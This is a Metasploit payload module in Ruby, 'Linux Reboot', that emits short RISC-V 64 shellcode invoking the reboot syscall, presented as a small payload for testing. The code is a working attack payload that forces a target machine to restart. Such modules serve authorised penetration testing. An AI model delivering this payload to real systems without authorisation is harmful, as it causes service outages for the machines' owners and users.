1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 40
8

9
  include Msf::Payload::Single
10

11
  def initialize(info = {})
12
    super(
13
      merge_info(
14
        info,
15
        'Name' => 'Linux Reboot',
16
        'Description' => %q{
17
          A very small shellcode for rebooting the system using
18
          the reboot syscall. This payload is sometimes helpful
19
          for testing purposes.
20
        },
21
        'Author' => 'bcoles',
22
        'License' => MSF_LICENSE,
23
        'Platform' => 'linux',
24
        'Arch' => ARCH_RISCV64LE
25
      )
26
    )
27
  end
28

29
  def generate(_opts = {})
30
    shellcode =
31
      [0x0007f537].pack('V*') + # lui    a0,0x7f
32
      [0x70f5051b].pack('V*') + # addiw  a0,a0,1807
33
      [0x00d51513].pack('V*') + # slli   a0,a0,0xd
34
      [0xead50513].pack('V*') + # addi   a0,a0,-339
35
      [0x281225b7].pack('V*') + # lui    a1,0x28122
36
      [0x9695859b].pack('V*') + # addiw  a1,a1,-1687
37
      [0x01234637].pack('V*') + # lui    a2,0x1234
38
      [0x5676061b].pack('V*') + # addiw  a2,a2,1383
39
      [0x08e00893].pack('V*') + # li     a7,142
40
      [0x00000073].pack('V*')   # ecall
41

42
    super.to_s + shellcode
43
  end
44
end
45

46